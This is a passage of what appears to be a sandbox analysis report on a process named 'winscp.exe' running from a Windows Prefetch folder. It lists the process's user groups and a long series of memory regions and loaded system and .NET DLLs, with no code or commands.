"C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7358 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7359 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7360 start_va = 0x110000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 7361 start_va = 0xae0000 end_va = 0xbb7fff monitored = 1 entry_point = 0xbaf1ee region_type = mapped_file name = "winscp.exe" filename = "\\Windows\\Prefetch\\ReadyBoot\\winscp.exe" (normalized: "c:\\windows\\prefetch\\readyboot\\winscp.exe") Region: id = 7362 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7363 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7364 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7365 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7366 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7367 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 7368 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 7369 start_va = 0x210000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 7370 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7371 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7372 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7439 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7440 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7441 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7463 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7464 start_va = 0x380000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 7465 start_va = 0x380000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 7466 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 7467 start_va = 0x210000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 7468 start_va = 0x300000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 7831 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7832 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7833 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7834 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7835 start_va = 0x520000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 7836 start_va = 0x520000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 7837 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 7838 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7839 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7858 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7859 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7860 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7861 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7862 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7888 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7889 start_va = 0x6c0000 end_va = 0x847fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 7890 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7891 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7892 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8063 start_va = 0x850000 end_va = 0x9d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 8064 start_va = 0xbc0000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bc0000" filename = "" Region: id = 8065 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8066 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 8067 start_va = 0x9e0000 end_va = 0xab0fff monitored = 1 entry_point = 0xaaf1ee region_type = mapped_file name = "winscp.exe" filename = "\\Windows\\Prefetch\\ReadyBoot\\winscp.exe" (normalized: "c:\\windows\\prefetch\\readyboot\\winscp.exe") Region: id = 8082 start_va = 0x9e0000 end_va = 0xab0fff monitored = 1 entry_point = 0xaaf1ee region_type = mapped_file name = "winscp.exe" filename = "\\Windows\\Prefetch\\ReadyBoot\\winscp.exe" (normalized: "c:\\windows\\prefetch\\readyboot\\winscp.exe") Region: id = 8083 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8285 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8301 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8411 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8440 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8441 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8442 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8443 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8451 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 8452 start_va = 0x7fe948d0000 end_va = 0x7fe948dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948d0000" filename = "" Region: id = 8453 start_va = 0x7fe948e0000 end_va = 0x7fe948effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948e0000" filename = "" Region: id = 8454 start_va = 0x7fe948f0000 end_va = 0x7fe9497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948f0000" filename = "" Region: id = 8455 start_va = 0x7fe94980000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94980000" filename = "" Region: id = 8456 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 8457 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8458 start_va = 0x1fc0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 8459 start_va = 0x2200000 end_va = 0x244ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 8514 start_va = 0x22c0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 8515 start_va = 0x23d0000 end_va = 0x244ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 8516 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 8517 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 8518 start_va = 0x270000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 8519 start_va = 0x2450000 end_va = 0x1a44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 8606 start_va = 0x1a450000 end_va = 0x1a7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a450000" filename = "" Region: id = 8607 start_va = 0x1fc0000 end_va = 0x20c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 8608 start_va = 0x2180000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 8609 start_va = 0x9e0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 8610 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8648 start_va = 0x1a7d0000 end_va = 0x1a8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 8649 start_va = 0x1a990000 end_va = 0x1aa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a990000" filename = "" Region: id = 8650 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8700 start_va = 0x1aa90000 end_va = 0x1ad5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8713 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8752 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8753 start_va = 0x480000 end_va = 0x4fcfff monitored = 0 entry_point = 0x48cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8754 start_va = 0x480000 end_va = 0x4fcfff monitored = 0 entry_point = 0x48cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8755 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8792 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8793 start_va = 0x1ad60000 end_va = 0x1ae4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 8794 start_va = 0x1ae50000 end_va = 0x1af2efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ae50000" filename = "" Region: id = 8870 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8871 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8872 start_va = 0x7fe949f0000 end_va = 0x7fe94a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8904 start_va = 0x7fe94a70000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a70000" filename = "" Region: id = 8905 start_va = 0x7fe94a80000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 8921 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8936 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8949 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 8981 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 8982 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 8983 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9008 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9023 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9038 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 9058 start_va = 0x1af30000 end_va = 0x1b05ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af30000" filename = "" Region: id = 9076 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9098 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9099 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 9100 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 9145 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9146 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9165 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9176 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9189 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9214 start_va = 0x480000 end_va = 0x4e1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9224 start_va = 0x620000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 9225 start_va = 0x1b140000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 9226 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9227 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9383 start_va = 0x1b260000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 9384 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9385 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9386 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9387 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9388 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9389 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9390 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9444 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9445 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9446 start_va = 0x1b400000 end_va = 0x1b4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b400000" filename = "" Region: id = 9447 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9457 start_va = 0x1b660000 end_va = 0x1b75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b660000" filename = "" Region: id = 9458 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9493 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9528 start_va = 0x1b7d0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b7d0000" filename = "" Region: id = 9529 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9554 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9570 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9589 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9607 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9618 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 9668 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9669 start_va = 0x1b8d0000 end_va = 0x1bba1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9670 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9671 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 9672 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 9673 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" 